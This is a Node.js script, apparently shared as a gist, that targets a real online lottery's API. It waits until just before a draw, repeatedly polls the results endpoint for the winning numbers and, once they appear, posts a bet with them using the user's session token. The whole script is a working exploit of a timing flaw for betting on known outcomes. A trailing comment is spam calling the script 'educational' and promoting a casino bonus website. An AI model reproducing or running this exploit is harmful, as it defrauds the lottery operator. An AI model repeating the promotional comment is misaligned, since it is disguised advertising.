|
const fetch = require("node-fetch"); |
|
|
|
const next_draw_api_url = "https://bornlucky-prod.gamevy.com/health-lottery/next-draw"; |
|
const draw_api_url = "https://bornlucky-prod.gamevy.com/health-lottery/draws/"; |
|
const bet_api_url = "https://bornlucky-prod.gamevy.com/health-lottery/bet"; |
|
|
|
const refer_base = "https://games.gamevy.com/d/"; |
|
const refer_queries = "/index.html?env=prod®ion=LON&platform=geneity&mode=real¤cy=GBP&lang=en-GB&operator=health-lottery&numbers=&lobbyUrl=&clientType=desktop&sid="; |
|
|
|
const time_before_spam = 200; |
|
|
|
var sid = process.argv[2]; |
|
var app_id = process.argv[3]; |
|
var sid_header = { "x-gamevy-session-token": sid }; |
|
var bet_header = { |
|
"User-Agent": "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0", |
|
"Accept": "*/*", |
|
"Accept-Language": "en-GB,en;q=0.5", |
|
"Accept-Encoding": "gzip, deflate, br", |
|
"Origin": "https://games.gamevy.com", |
|
"Connection": "keep-alive", |
|
"Referer": refer_base + app_id + refer_queries + sid, |
|
"x-gamevy-session-token": sid, |
|
"Content-type": "application/json; charset=UTF-8" |
|
}; |
|
|
|
async function get_next_draw() { |
|
var res = await fetch(next_draw_api_url, { headers: sid_header }); |
|
if(!res.ok) { process.exit() }; |
|
var info = await res.json(); |
|
return info['nextDraw']; |
|
} |
|
|
|
async function get_draw_nums(draw_url) { |
|
var res = await fetch(draw_url, { headers: sid_header }); |
|
var info = await res.json(); |
|
return info['numbers']; |
|
} |
|
|
|
async function bet(draw_id, draw_nums) { |
|
p(`bet initiated with numbers ${draw_nums}`); |
|
var json = JSON.stringify({ drawId: draw_id, lines: [{ numbers: draw_nums }], version: "default" }); |
|
var res = await fetch(bet_api_url, { |
|
method: 'POST', |
|
headers: bet_header, |
|
body: json, |
|
}); |
|
p(res); |
|
var res_body = await res.json(); |
|
p(res_body); |
|
return res; |
|
} |
|
|
|
async function spam(draw_id) { |
|
p(`spam initiated with draw_id ${draw_id}`); |
|
var draw_url = draw_api_url + draw_id; |
|
|
|
var betted = false; |
|
while(!betted) { |
|
var draw_nums = await get_draw_nums(draw_url); |
|
if(draw_nums != null) { |
|
var res = bet(draw_id, draw_nums); |
|
betted = true; |
|
} |
|
}; |
|
} |
|
|
|
if (require.main === module) { |
|
get_next_draw().then((info) => { |
|
var draw_id = info['id']; |
|
var draw_at = info['drawAt']; |
|
|
|
var draw_date = new Date(draw_at); |
|
|
|
var time_til_action = draw_date.getTime() - Date.now() - time_before_spam; |
|
p(`time_til_action: ${time_til_action}ms`); |
|
|
|
setTimeout(spam, time_til_action, draw_id); |
|
}); |
|
} |
|
|
|
function p(msg) { |
|
console.log(msg); |
|
} |
You've raised an interesting point in the context of the lottery. You've created a great educational exercise aimed at testing the randomness of this lottery. I've always been interested in the topic of lotteries and gambling, luck, and probability theory. Currently, I'm passionate about gambling and practice playing on various online platforms, which can be found at https://casino358.com/casino-bonukset/ with valuable information about bonuses at online casinos in Finland. I'm also enthusiastic about programming because writing code requires logical and algorithmic thinking. These skills can be valuable in various aspects of life. Additionally, it's a great hobby for creating simple games and other applications.